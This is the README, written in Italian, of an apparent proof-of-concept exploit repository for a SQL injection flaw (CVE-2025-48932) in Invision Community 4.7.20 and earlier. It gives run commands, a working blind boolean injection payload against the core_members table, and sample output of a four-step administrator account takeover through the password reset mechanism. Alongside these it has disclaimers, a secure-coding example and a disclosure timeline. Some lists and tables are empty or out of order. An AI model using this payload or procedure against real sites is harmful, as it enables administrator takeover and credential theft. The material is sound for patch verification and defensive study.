
Un exploit proof-of-concept che dimostra una vulnerabilità di SQL injection in Invision Community versioni <= 4.7.20.
Questo strumento è fornito SOLO per scopi educativi e di test di sicurezza autorizzati.
CVE ID: CVE-2025-48932
Gravità: Alta
Punteggio CVSS: TBD
Versioni interessate: Versioni di Invision Community 4.x precedenti alla 4.7.21
La vulnerabilità è presente nello script /applications/calendar/modules/front/calendar/view.php. L'input utente passato attraverso il parametro di richiesta location nel metodo IPS\calendar\modules\front\calendar\view::search() non viene correttamente sanificato prima di essere utilizzato nelle query SQL.
Ciò consente ad attaccanti remoti non autenticati di:
Prerequisiti per lo sfruttamento:
Nota: Mentre le vulnerabilità di SQL injection nelle versioni di Invision Community 4.x < 4.7.18 potevano portare al takeover dell'account amministratore e alla RCE resettando la password dell'amministratore, la versione 4.7.18 ha introdotto una nuova chiave di crittografia di sicurezza nel meccanismo di reset della password, rendendo questo vettore d'attacco più difficile.
Clona il repository:
git clone https://github.com/yourusername/invision-sqli-exploit.git
cd invision-sqli-exploit
Installa le dipendenze:
pip install -r requirements.txt
python invision-sqli-exploit.py -u http://target.com/forum/
python invision-sqli-exploit.py -u https://example.com/community/ -v
==================================================
Invision Community <= 4.7.20 SQL Injection Exploit
CVE-2025-48932
==================================================
Target: http://example.com/forum/
==================================================
[*] Fetching CSRF token...
[+] CSRF token found: abc123def456...
[*] Step 1: Extracting admin email address...
[*] Extracting data: [email protected]
[+] Admin email: [email protected]
[!] Step 2: Manual action required!
Please follow these steps:
1. Navigate to: http://example.com/forum/index.php?/lostpassword/
2. Request a password reset using email: [email protected]
3. Press ENTER when done...
[*] Step 3: Extracting password reset validation key...
[*] Extracting data: xyz789abc123...
[+] Reset key: xyz789abc123...
[*] Step 4: Resetting admin password...
==================================================
[+] EXPLOITATION SUCCESSFUL!
==================================================
Admin credentials:
Email: [email protected]
Password: Pwned1721234567
You can now login at: http://example.com/forum/index.php?/login/
L'exploit funziona in quattro passaggi principali:
Lo script recupera prima un token CSRF dal sito target, necessario per le richieste successive.
Utilizzando un algoritmo di ricerca binaria, l'exploit estrae i dati dal database carattere per carattere:
RLIKE con pattern regex per rilevare condizioni vere/falseInterroga la tabella core_members per estrarre l'indirizzo email dell'amministratore.
Punto di iniezione:
location parameter → calendar/view.php → search() method
Esempio di payload:
'))OR(SELECT 1 RLIKE(IF(ORD(SUBSTR((SELECT email FROM core_members WHERE member_id=1),1,1))<128,0x28,0x31)))#
Tecnica di sfruttamento: SQL injection blind basata su booleani che utilizza la ricerca binaria per un'estrazione efficiente dei dati.
Azioni immediate:
Pratiche di codifica sicura:
Esempio di codice sicuro:
// Vulnerable code
$location = $_REQUEST['location'];
$query = "SELECT * FROM events WHERE location = '$location'";
// Secure code
$location = $_REQUEST['location'];
$query = $db->prepare("SELECT * FROM events WHERE location = ?");
$query->execute([$location]);
| Data | Evento |
|---|---|
| 16 maggio 2025 | Fornitore notificato |
| 27 maggio 2025 | Rilasciata la versione 4.7.21 |
| 28 maggio 2025 |
Sviluppatore:
Nota: Questa è un'implementazione indipendente basata sulle informazioni di vulnerabilità divulgate pubblicamente (CVE-2025-48932)
Questo progetto è concesso in licenza secondo i termini della MIT License - consulta il file LICENSE per i dettagli.
I contributi sono benvenuti! Non esitare a inviare una Pull Request. Per modifiche importanti, apri prima una issue per discutere cosa vorresti cambiare.
Questo strumento è distribuito sotto la MIT License. Utilizzando questo software, accetti di:
Ricorda: L'accesso non autorizzato a sistemi informatici è un reato nella maggior parte delle giurisdizioni e può comportare gravi conseguenze legali.
Se scopri una vulnerabilità di sicurezza, ti preghiamo di divulgarla responsabilmente al fornitore prima di renderla pubblica.
| Argomento | Descrizione | Obbligatorio |
|---|
-u, --url | URL di base dell'installazione Invision Community | Sì |
-v, --verbose | Abilita l'output verboso per il debug | No |
-h, --help | Mostra il messaggio di aiuto ed esci | No |
| Richiesto l'identificativo CVE |
| 28 maggio 2025 | Assegnato CVE-2025-48932 |
| 23 luglio 2025 | Divulgazione pubblica |